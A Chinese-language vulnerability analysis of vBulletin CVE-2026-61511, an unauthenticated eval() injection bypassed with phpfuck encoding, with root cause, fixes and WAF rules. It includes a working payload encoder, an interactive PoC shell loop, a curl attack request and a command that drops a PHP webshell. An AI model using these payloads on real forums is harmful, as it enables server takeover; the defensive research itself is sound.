〇、TL;DR
| 项目 | 内容 |
|---|---|
| CVE 编号 | CVE-2026-61511 |
| CVSS v3 | 9.8(Critical) |
| 漏洞类型 | eval() 注入 / 预认证远程代码执行(Pre-auth RCE) |
| 受影响组件 | vB5_Template_Runtime::runMaths() |
| 漏洞文件 | /includes/vb5/template/runtime.php |
| 利用前提 | 无需认证、无需任何用户交互 |
| 攻击入口 | POST /ajax/render/pagenav,参数 pagenav[pagenumber] |
| 绕过手法 | phpfuck 风格编码(数字 + 括号 + XOR ^ + 点号 .) |
| 补丁版本 | vBulletin 6.2.2(2026-07-01) |
| 发现者 | Egidio Romano(EgiX) |
| 披露方 | SSD Secure Disclosure(PoC 公开于 2026-07-27) |
一、漏洞概述
1.1 事件时间线
CVE-2026-61511 是 vBulletin 模板引擎中一处经典的 eval() 注入漏洞,允许未认证的远程攻击者在服务器上执行任意 PHP 代码。该漏洞由独立安全研究员 Egidio Romano(圈内 ID:EgiX)发现,并通过 SSD Secure Disclosure 漏洞披露计划上报厂商。
2026-06-25 漏洞报告提交至 SSD / vBulletin 厂商
2026-07-01 vBulletin 6.2.2 发布,修复该漏洞;
同时发布 6.2.1 / 6.2.0 / 6.1.6 的回溯补丁(Patch Level 1)
2026-07-27 SSD Secure Disclosure 公开技术分析与完整 PoC
2026-07-29 本文整理(截至发文尚无在野利用的确认报告,EPSS 30 天约 1.3%)
1.2 漏洞本质
vBulletin 的模板引擎为支持模板内的数学计算,提供了一个 {vb:math} 标签,其底层实现 runMaths() 方法在“过滤”用户输入后,直接将其拼入 eval() 执行。该过滤采用的是字符白名单正则替换,但白名单中包含了数字、括号、算术运算符以及关键的按位异或运算符 ^ 与字符串连接符 .。这组字符足以通过 phpfuck 技巧构造出任意可执行 PHP 代码,从而将一个“数学计算器”变成“代码执行器”。
1.3 受影响版本
| 分支 | 受影响范围 | 补丁状态 |
|---|---|---|
| vBulletin 6.x | 6.2.1 及更早(含 6.1.6 及更早) | 升级至 6.2.2;或 6.2.1/6.2.0/6.1.6 PL1 回溯补丁 |
| vBulletin 5.x | 5.7.5 及更早(5.0.0 起) | 官方不提供 5.x 补丁,建议升级至 6.2.2 |
| vBulletin Cloud | — | 云版本已在漏洞公开前自动打补丁 |
注意:5.x 分支与 6.x 共用同一套 vB5 模板运行时代码,因此同样存在该漏洞,但厂商明确不再为 5.x 单独发布补丁。这意味着大量遗留论坛将持续暴露在风险中。
二、vBulletin 模板引擎基础
2.1 vB5 模板系统架构
vBulletin 5 引入了一套自研模板系统,模板以纯文本形式存储于数据库,运行时由 vB5_Template 类解析编译。模板中可使用一系列以 {vb:xxx} 形式存在的标签,常见的包括:
| 标签 | 作用 | 示例 |
|---|---|---|
{vb:var} |
引用模板变量 | {vb:var pagenav.currentpage} |
{vb:raw} |
原始输出变量(不转义) | {vb:raw pagenav.pagenumber} |
{vb:set} |
设置模板变量 | {vb:set pagenav.currentpage, ...} |
{vb:math} |
评估数学表达式 | {vb:math {vb:var x} - 1} |
{vb:if} |
条件判断 | {vb:if condition="..."} |
其中 {vb:math} 是本次漏洞的核心触发点——它的设计意图仅仅是“把模板里的 1+1 算成 2”,但实现上却选择了 eval()。
2.2 模板渲染流程
┌─────────────┐ ┌──────────────┐ ┌──────────────────┐
│ HTTP 请求 │───▶│ 路由分发器 │───▶│ vB5 模板引擎 │
│ (ajax/render)│ │ routestring │ │ vB5_Template │
└─────────────┘ └──────────────┘ └────────┬─────────┘
│ 解析 {vb:math} 标签
▼
┌──────────────────┐
│ runMaths($str) │
│ 正则过滤 + eval() │
└────────┬─────────┘
│
▼
┌──────────────────┐
│ PHP Zend 引擎 │
│ 执行注入代码 │
└──────────────────┘
{vb:math} 标签内的内容会被提取出来,作为字符串参数 $str 传递给 vB5_Template_Runtime::runMaths()。例如模板片段:
data-page="{vb:math {vb:var pagenav.currentpage} - 1}"
引擎会先把 {vb:var pagenav.currentpage} 解析为具体数值(如 2),再把 2 - 1 交给 runMaths(),最终 eval("\$str = 2 - 1;") 得到 1。问题在于:当 pagenav.currentpage 来自用户输入时,这个“数值”可以是任意构造的字符串。
三、漏洞根因深度分析
3.1 漏洞位置
漏洞位于 /includes/vb5/template/runtime.php,核心方法 vB5_Template_Runtime::runMaths()。精简后的关键代码如下:
public static function runMaths($str)
{
// ... 前置处理 ...
// 【1】字符白名单过滤:仅保留以下字符
// 数字 \d 算术符 + - * / = 括号 ( )
// 位运算 ^ < > & | 点号 .
$str = preg_replace('#([^+\-*=/\(\)\d\^<>&|\.]*)#', '', $str);
if (empty($str))
{
$str = '0';
}
else
{
// ... 一些边界处理 ...
try
{
// 【2】直接拼入 eval() 执行
$status = @eval("\$str = $str;");
}
catch (Error $e)
{
$status = false;
}
// ...
}
return $str;
}
3.2 字符过滤分析
过滤正则为 #([^+\-*=/\(\)\d\^<>&|\.]*)#,它匹配“不在白名单内的任意字符”并将其替换为空字符串。等价于保留如下白名单字符集:
白名单字符:
数字: 0 1 2 3 4 5 6 7 8 9
算术运算: + - * / =
括号: ( )
位运算: ^ < > & |
连接符: .
也就是说,所有字母(a-z、A-Z)、引号、空格、分号、$、花括号等都被剔除。表面上看,这能阻止 system("id") 这类直接包含字母的 payload。但关键在于:
^(按位异或)被允许:PHP 中两个字符串异或会逐字节异或,可生成任意字节;.(字符串连接)被允许:可把多个字符/字符串拼接成函数名与参数;- 括号
()被允许:可用于函数调用与分组; - 数字被允许:数字字面量在超过
PHP_INT_MAX时会溢出为浮点数,其字符串表示形如1.0E+257,其中包含字母E与符号+——这是 phpfuck 技巧的“字母来源”。
3.3 根本原因
这是一个典型的“过滤 ≠ 转义”安全设计缺陷:
| 维度 | 安全做法(参数化) | vBulletin 的错误做法(字符过滤) |
|---|---|---|
| 数据处理模型 | 数据与代码分离,输入仅作为数据 | 输入被拼入代码字符串后由解释器执行 |
| 失败模式 | 单个字符越界无影响 | 白名单一旦遗漏可表达图灵完备子集,即可被绕过 |
| 类比 | SQL 参数化查询(预编译) | SQL 字符串拼接 + 黑名单过滤关键字 |
即便白名单排除了所有字母,但 {0-9, ^, ., ()} 这个字符集在 PHP 语义下是图灵完备的——足以构造出任意函数名与任意字符串参数。只要 eval() 还在,且白名单允许图灵完备子集,绕过就只是工程量问题,而非是否可能的问题。
四、phpfuck 编码绕过技术
4.1 phpfuck 原理
phpfuck 是一类“受限字符集代码生成”技术(参见 github.com/arxenix/phpfuck),其核心思想是:仅用数字、括号、点号 . 和异或 ^ 构造出可执行的任意 PHP 代码。它依赖 PHP 的三个语言特性:
- 整数溢出转浮点:超过
PHP_INT_MAX(64 位下为9223372036854775807,19 位)的数字字面量会自动转为浮点数,其字符串形式如9.999...E+257,其中天然含有字母E、符号+、小数点.。 - 字符串逐字节异或:
"abc" ^ "XYZ"会对每个对应位置字符的 ASCII 值做异或,得到新字符串。 - 动态函数调用:PHP 允许用字符串变量作为函数名调用,如
$f = "chr"; $f(115);,等价于chr(115)。因此只要构造出字符串"chr",就能调用chr(),进而用chr(115).chr(121)...拼出任意字符串。
通过精心选择参与异或的大数字与数字串,可以“算”出目标字符串。例如可构造一个固定表达式 $chr_fun,其求值结果恰好是字符串 "chr"。
4.2 构造 chr 函数表达式
漏洞 PoC 中使用的 $chr_fun 如下(一个求值为 "chr" 的 XOR 表达式):
$chr_fun =
'((((<300位以上的9>).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))';
其求值过程示意(层次结构):
┌─────────────────────────────────────────────┐
Step A: │ (999...9).(9) → 字符串 "9.99...E+xxx9" │ (整数溢出为浮点,含字母E)
└───────────────────────┬─────────────────────┘
▼
┌─────────────────────────────────────────────┐
Step B: │ A ^ ((2).(0).(4)) → "9.99...E+xxx9" ^ "204" │ (逐字节异或)
└───────────────────────┬─────────────────────┘
▼
┌─────────────────────────────────────────────┐
Step C: │ ((9).(9))^((9).(9)) → "99" ^ "99" = "\0\0" │ (生成零字节)
└───────────────────────┬─────────────────────┘
▼
┌─────────────────────────────────────────────┐
Step D: │ (8).(6).StepC → "86" + "\0\0" │
└───────────────────────┬─────────────────────┘
▼
┌─────────────────────────────────────────────┐
Step E: │ StepB ^ StepD → 最终求值 = "chr" │
└─────────────────────────────────────────────┘
说明:实际求值依赖 PHP 对超长整数字面量溢出为浮点后的具体字符串形式,以及不同长度字符串异或时的截断/对齐行为。表达式中的大数字位数是经过计算精心选定的,以确保各字节异或后恰好得到
'c'(0x63)、'h'(0x68)、'r'(0x72)。
4.3 构造 system 函数名
得到 $chr_fun(即 "chr")后,即可构造 system 字符串。system 的 ASCII 为 115 121 115 116 101 109:
// encodeChar 把一个字符的 ASCII 码每位数字分别用括号包起来
// 例如 's'(115) → (1).(1).(5)
function encodeChar($char)
{
$char = strval(ord($char)); // 's' → "115"
$ret = '';
for ($i = 0; $i < strlen($char); $i++) {
$ret .= '(' . $char[$i] . ').'; // 每位数字 → (d).
}
return rtrim($ret, '.'); // (1).(1).(5)
}
// makePayload 把函数名和参数都编码成 chr() 调用链
function makePayload($function, $param)
{
$ret = '';
foreach (str_split($function) as $c) {
$ret .= $chr_fun . '(' . encodeChar($c) . ').';
}
$ret = "(" . rtrim($ret, '.') . ')(('; // 函数名包成 (...)
foreach (str_split($param) as $c) {
$ret .= $chr_fun . '(' . encodeChar($c) . ').';
}
return rtrim($ret, '.') . '))'; // 参数包成 (...)
}
逐字符推导 system:
's' = chr(115) = chr((1).(1).(5)) // (1).(1).(5) 求值为字符串 "115",chr 隐式转 int
'y' = chr(121) = chr((1).(2).(1))
's' = chr(115) = chr((1).(1).(5))
't' = chr(116) = chr((1).(1).(6))
'e' = chr(101) = chr((1).(0).(1))
'm' = chr(109) = chr((1).(0).(9))
=> "system" = chr((1).(1).(5)).chr((1).(2).(1)).chr((1).(1).(5))
.chr((1).(1).(6)).chr((1).(0).(1)).chr((1).(0).(9))
4.4 最终 payload 形式
把 $chr_fun 代入后,system("id") 的完整 payload 形如:
(<chr_fun>((1).(1).(5)).<chr_fun>((1).(2).(1)).<chr_fun>((1).(1).(5))
.<chr_fun>((1).(1).(6)).<chr_fun>((1).(0).(1)).<chr_fun>((1).(0).(9)))
(
(<chr_fun>((1).(0).(5)).<chr_fun>((1).(0).(0)))
)
其中每个 <chr_fun> 是 4.2 中那段求值为 "chr" 的 XOR 表达式。该 payload 求值等价于:
("s"."y"."s"."t"."e"."m")(("i"."d")) // = system("id")
整个 payload 只包含 0-9、(、)、.、^,完美通过 runMaths() 的字符白名单,并最终在 eval("\$str = $str;") 中被执行。
phpfuck 编码层次结构:
payload
├── 函数名表达式 (...)
│ └── <chr_fun>(ASCII码) × N 个字符
│ └── <chr_fun> = 浮点溢出字符串 XOR 数字串 → "chr"
│ └── chr(115) = "s", chr(121) = "y" ...
└── 参数表达式 (...)
└── <chr_fun>(ASCII码) × M 个字符
五、完整攻击链
5.1 攻击路径
┌──────────────┐
│ 攻击者(无认证) │
└──────┬───────┘
│ POST /ajax/render/pagenav
│ body: routestring=ajax/render/pagenav
│ &pagenav[pagenumber]=<phpfuck_payload>
▼
┌──────────────────────────────────────────┐
│ vBulletin 路由:ajax/render/[template] │ 公开路由,无需登录
│ template = pagenav │
└──────┬───────────────────────────────────┘
▼
┌──────────────────────────────────────────┐
│ 渲染 pagenav 模板 │
│ {vb:set pagenav.currentpage, │
│ {vb:raw pagenav.pagenumber}} │ 用户输入 → 模板变量
│ ... │
│ data-page="{vb:math │
│ {vb:var pagenav.currentpage} - 1}" │ 变量进入 {vb:math}
└──────┬───────────────────────────────────┘
▼
┌──────────────────────────────────────────┐
│ vB5_Template_Runtime::runMaths($str) │
│ $str = <phpfuck_payload> - 1 │
│ preg_replace 白名单过滤 │ 仅保留 0-9 ^ . () 等
│ @eval("\$str = $str;") │ ★ 任意 PHP 代码执行
└──────┬───────────────────────────────────┘
▼
┌──────────────────────────────────────────┐
│ system("id; echo _____") 以 web 身份执行 │ 命令输出回显到响应
└──────────────────────────────────────────┘
5.2 关键攻击要素
-
公开路由:
ajax/render/[template]是 vBulletin 用于前端异步渲染模板片段的公开端点,不要求任何认证。任意template名均可被指定。 -
用户输入直通模板变量:
pagenav模板中有如下片段,将pagenav[pagenumber]直接赋给模板变量pagenav.currentpage:<vb:elseif condition="isset($pagenav['pagenumber'])" /> {vb:set pagenav.currentpage, {vb:raw pagenav.pagenumber}} </vb:if> ... <vb:if condition="$pagenav['currentpage'] != 1"> <a class="js-pagenav-button ... data-page="{vb:math {vb:var pagenav.currentpage} - 1}" -
{vb:math}把变量交给runMaths():模板变量pagenav.currentpage(即攻击者控制的pagenav[pagenumber])被插入{vb:math ... - 1},原样传入runMaths(),再进入eval()。
5.3 PoC 工作原理
EgiX 发布的 PoC(exploit.php)是一个交互式 webshell,关键逻辑:
// 1. 固定路由参数
$params = ["routestring" => "ajax/render/pagenav"];
while (1) {
print "\nvb-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
// 2. 在命令后追加标记符,用于从响应中提取输出
$cmd .= "; echo _____";
// 3. 把 system + 命令 编码为 phpfuck payload
$params["pagenav[pagenumber]"] = makePayload("system", $cmd);
// 4. 发送请求
curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params));
// 5. 用正则从响应中抠出 _____ 与 _____ 之间的命令输出
preg_match('/_____(.*)_____/s', curl_exec($curl), $m)
? print $m[1]
: die("\n[+] Exploit failed! :(\n\n");
}
makePayload("system", $cmd)把函数名system与命令字符串都编码为允许字符;- 命令末尾追加
; echo _____,执行后会在输出中产生_____<命令输出>_____,PoC 用正则提取中间部分,实现交互式回显; - 使用方式:
php exploit.php http://target/。
六、PoC 复现
6.1 环境搭建(Docker)
以 vBulletin 6.2.1 为靶机(仅供本地复现):
# 拉取含 PHP 8.x + Apache 的基础镜像
docker run -d --name vb-lab -p 8080:80 \
-e PHP_INI_DISCOVERY=1 \
php:8.2-apache
# 进入容器,部署 vBulletin 6.2.1 源码至 /var/www/html/
# 配置 MySQL 连接,完成 install.php 初始化
docker exec -it vb-lab bash
关键 PHP 配置(漏洞利用所需):
; php.ini
disable_functions = ; 确保 system 等函数未被禁用
allow_url_include = Off ; 不影响本漏洞
6.2 攻击请求构造
最小化 HTTP 请求(<phpfuck_payload> 为第四章构造的 system("id") 编码):
POST /ajax/render/pagenav HTTP/1.1
Host: target:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: <自动计算>
routestring=ajax/render/pagenav&pagenav[pagenumber]=<phpfuck_payload>
用 curl 复现:
# 把 makePayload("system","id") 的输出存入 payload.txt
curl -s -X POST "http://target:8080/ajax/render/pagenav" \
--data-urlencode "routestring=ajax/render/pagenav" \
--data-urlencode "pagenav[pagenumber]=$(cat payload.txt)"
6.3 验证方法
a) 执行 id 验证命令执行:
预期响应中会包含类似 uid=33(www-data) gid=33(www-data) 的回显(取决于 web 进程用户)。
b) 落地 webshell:
将命令替换为写文件:
makePayload("system", "echo '<?php @eval(\\$_POST[c]);?>' > ./x.php; echo _____")
成功后访问 /x.php 即可获得一句话木马。
c) 验证标志位(无回显场景):
makePayload("system", "id; echo _____")
响应中出现 _____ 包裹的内容即证明 RCE 成功。
复现检查清单:
[ ] 靶机版本 <= 6.2.1(或 5.x <= 5.7.5)
[ ] /ajax/render/pagenav 路由可公开访问
[ ] PHP 未禁用 system / passthru 等执行函数
[ ] payload 仅含 0-9 ^ . () 字符(可通过白名单校验)
[ ] 响应中出现 _____ 标记 → 利用成功
七、历史背景与关联
7.1 vBulletin 模板引擎的“前科”
vBulletin 的模板渲染层是代码执行漏洞的高发区,根源在于其长期坚持“模板标签 → 拼 PHP 字符串 → eval()”的实现范式。
| 时间 | CVE | 漏洞点 | 利用方式 |
|---|---|---|---|
| 2019-09 | CVE-2019-16759 | ajax/render/widget_php,widgetConfig[code] 经 evalCode() 直接 eval |
模板渲染时直接执行 code 参数;CVSS 9.8 |
| 2025-05 | CVE-2025-48827 / 48828 | PHP 8.1 反射 API 滥用 + 模板引擎 RCE | EgiX 报告,PoC 公开后数日即在野利用;CVSS 10.0 / 9.0 |
| 2026-07 | CVE-2026-61511 | runMaths() 字符白名单 + eval() |
phpfuck 编码绕过;CVSS 9.8 |
7.2 与 CVE-2019-16759 的对比
二者均为 vBulletin 模板 eval() 注入导致的预认证 RCE,但绕过难度差异显著:
| 维度 | CVE-2019-16759 | CVE-2026-61511 |
|---|---|---|
| 入口路由 | ajax/render/widget_php |
ajax/render/pagenav |
| 注入参数 | widgetConfig[code] |
pagenav[pagenumber] |
| 是否过滤 | 几乎无过滤,直接 eval | 有字符白名单正则过滤 |
| 字母是否可用 | 可用,payload 直白 | 不可用,需 phpfuck 编码 |
| 利用门槛 | 极低(直接传 PHP 代码) | 中等(需编码器) |
| 根因 | evalCode() 直接 eval 用户输入 |
白名单含图灵完备字符集 + eval |
可见 2019 年的补丁并未触及“模板层禁用 eval()”这一根本问题,而是逐点修补入口。每次封堵一个入口,攻击者就寻找下一个仍把用户输入导向 eval() 的模板标签。{vb:math} 正是这样一个被遗漏的入口。
7.3 EgiX 与 vBulletin 的“缘分”
Egidio Romano(EgiX)已连续多年挖掘 vBulletin 模板引擎漏洞:2025 年 5 月他报告的 CVE-2025-48827/48828 的 PoC 在公开后不久即被在野利用;本次 CVE-2026-61511 是其再次针对同一攻击面(用户输入 → 模板标签 → eval())的深度挖掘成果,且披露时直接附带可交互的完整 PoC。
八、修复方案与防御
8.1 官方修复
- 首选:升级至 vBulletin 6.2.2,该版本重写了
runMaths()的实现,移除了对eval()的依赖。 - 回溯补丁:针对无法立即升级的部署,厂商为 6.2.1 / 6.2.0 / 6.1.6 发布了 Patch Level 1 安全补丁。
- 5.x 分支:官方不提供补丁。运行 5.x 的论坛应尽快规划升级到 6.2.2;在升级前应通过 WAF / 反代严格隔离。
8.2 根因修复方向
漏洞的根本修复应当从“消除 eval()”入手,而非继续修补字符白名单:
// ❌ 错误范式:白名单过滤 + eval(本次漏洞)
$str = preg_replace('#([^+\-*=/\(\)\d\^<>&|\.]*)#', '', $str);
@eval("\$str = $str;");
// ✅ 正确范式:用安全的数学表达式解析器替代 eval
// 方案 A:自实现简易算式求值器(仅支持 + - * / ^ 与数字)
function safeMaths($str) {
if (!preg_match('/^[\d+\-*\/^(). ]+$/', $str)) {
return '0'; // 严格白名单,排除 ^ 之外的位运算
}
return (string) evaluateExpression($str); // 自实现递归下降解析
}
// 方案 B:参数化模板渲染,{vb:math} 只接受已校验的数值,不拼代码
核心原则:
- 移除
eval(),改用安全的数学表达式解析器(递归下降 / shunting-yard 算法); - 严格类型校验:
{vb:math}的输入应为纯数字与算术运算符,禁止位运算符^ & |与字符串连接符.; - 参数化模板渲染:模板变量与可执行代码严格分离,用户数据永不进入代码上下文。
8.3 WAF 临时缓解
在无法立即打补丁时,可通过 WAF / 反向代理进行临时缓解:
# 拦截规则示例(语义化伪规则)
规则1: 请求路径 == /ajax/render/pagenav
AND 请求体包含 pagenav[pagenumber]
AND pagenav[pagenumber] 值长度异常(> 64 字符) → 拦截
规则2: pagenav[pagenumber] 值中出现连续的 ^( 与 ). 模式
(phpfuck 特征:大量 XOR 与点号连接) → 拦截
规则3: pagenav[pagenumber] 值中 . 与 ^ 的密度异常
(正常分页号为纯数字,不应含 ^ 或大量 .) → 拦截
注意:WAF 规则仅为缓解措施,phpfuck payload 可通过等价变形规避简单特征,打补丁才是最终方案。
8.4 深度防御建议
| 层次 | 措施 |
|---|---|
| 模板层 | 禁用/限制危险模板标签({vb:math} 等可触发代码执行者);模板沙箱化,限制可用函数 |
| 运行层 | PHP disable_functions 禁用 system/exec/shell_exec/passthru 等;启用 open_basedir |
| 架构层 | 公开路由 ajax/render/* 增加频率限制与行为基线检测;敏感模板渲染要求会话校验 |
| 编码层 | 输入输出编码统一框架;用户数据与代码上下文严格隔离 |
九、PHP eval() 注入的通用启示
9.1 eval() 的危险性
eval() 是 PHP 中最危险的函数之一:它把任意字符串作为 PHP 代码执行,一旦有任何用户可控数据进入其参数,就等同于把代码执行权交给攻击者。PHP 官方手册明确警示:“The eval() language construct is very dangerous because it allows execution of arbitrary PHP code.” 在 vBulletin 这类成熟商业产品中,eval() 仍被用于模板渲染,是此次漏洞存在的结构性根因。
9.2 安全范式对比:过滤 vs 参数化
┌─────────────────────────────────────────────────────────────┐
│ 过滤范式(黑/白名单 + 字符串拼接) │
│ 输入 → 过滤 → 拼入代码 → 解释器执行 │
│ 风险:白名单若允许图灵完备子集 → 必然可绕过 │
│ 代表:本次漏洞、SQL 关键字过滤、XSS 标签过滤 │
├─────────────────────────────────────────────────────────────┤
│ 参数化范式(数据与代码分离) │
│ 输入 → 作为数据传入 → 解释器仅当数据处理 │
│ 风险:极低,输入无法改变代码结构 │
│ 代表:SQL 预编译、模板引擎自动转义、占位符渲染 │
└─────────────────────────────────────────────────────────────┘
判断一个过滤方案是否安全,可借助一个思维实验:“白名单字符集是否图灵完备?”。若答案是“是”(如本例的 {0-9, ^, ., ()}),则无论怎么调参都只是延迟被绕过的时间,而非消除风险。
9.3 其他 CMS 中的类似漏洞对比
| CMS | 漏洞 | 机制 | 缓解 |
|---|---|---|---|
| vBulletin | CVE-2019-16759 | widget_php 模板直接 eval code 参数 |
禁用 widget_php 渲染 |
| vBulletin | CVE-2026-61511 | runMaths() 白名单 + eval |
移除 eval,改用解析器 |
| WordPress | 部分插件 RCE | eval() / create_function() 处理短码 |
弃用 create_function,移除 eval |
| Drupal | CVE-2018-7600 (Drupalgeddon2) | 渲染数组参数导致代码执行 | 参数化渲染,严格类型校验 |
| Joomla | 历史多处 RCE | 模板/配置反序列化与代码注入 | 禁用危险函数,输入校验 |
共性教训:只要用户数据能流入代码执行上下文(eval、create_function、preg_replace /e、反序列化等),过滤都不是可靠的防御;参数化与类型隔离才是。
9.4 防御 Checklist
[ ] 代码中是否存在 eval() / create_function() / preg_replace(/e)?逐一审查
[ ] 若必须用 eval(),其参数是否完全由字面量构成(无任何用户/外部数据)?
[ ] 模板引擎是否将用户数据与代码上下文严格分离?
[ ] 白名单字符集是否图灵完备?若是,视为不安全
[ ] 危险函数(system/exec/shell_exec 等)是否在 disable_functions 中?
[ ] 是否对公开渲染端点(ajax/render/*)做了访问控制与频率限制?
[ ] 是否有 WAF 规则覆盖 phpfuck / 受限字符集 payload 特征?
[ ] 是否建立了模板标签白名单,禁用可触发代码执行的标签?
[ ] 是否持续跟踪 vBulletin / 所用 CMS 的安全公告并及时打补丁?
[ ] 5.x 等不提供补丁的遗留分支是否有明确的升级/隔离计划?
附:关键文件与参考
- 漏洞文件:
/includes/vb5/template/runtime.php→vB5_Template_Runtime::runMaths() - 攻击路由:
POST /ajax/render/pagenav,参数pagenav[pagenumber] - 补丁版本:vBulletin 6.2.2
- 披露资料:SSD Secure Disclosure(2026-07-27)
- 相关项目:phpfuck 受限字符集编码(
github.com/arxenix/phpfuck) - 历史 CVE:CVE-2019-16759、CVE-2025-48827、CVE-2025-48828
本文技术细节基于 SSD Secure Disclosure 公开 advisory 及 EgiX 发布的 PoC 整理。再次强调:所有内容仅用于安全研究与防御教育,请勿用于未授权测试。
浙公网安备 33010602011771号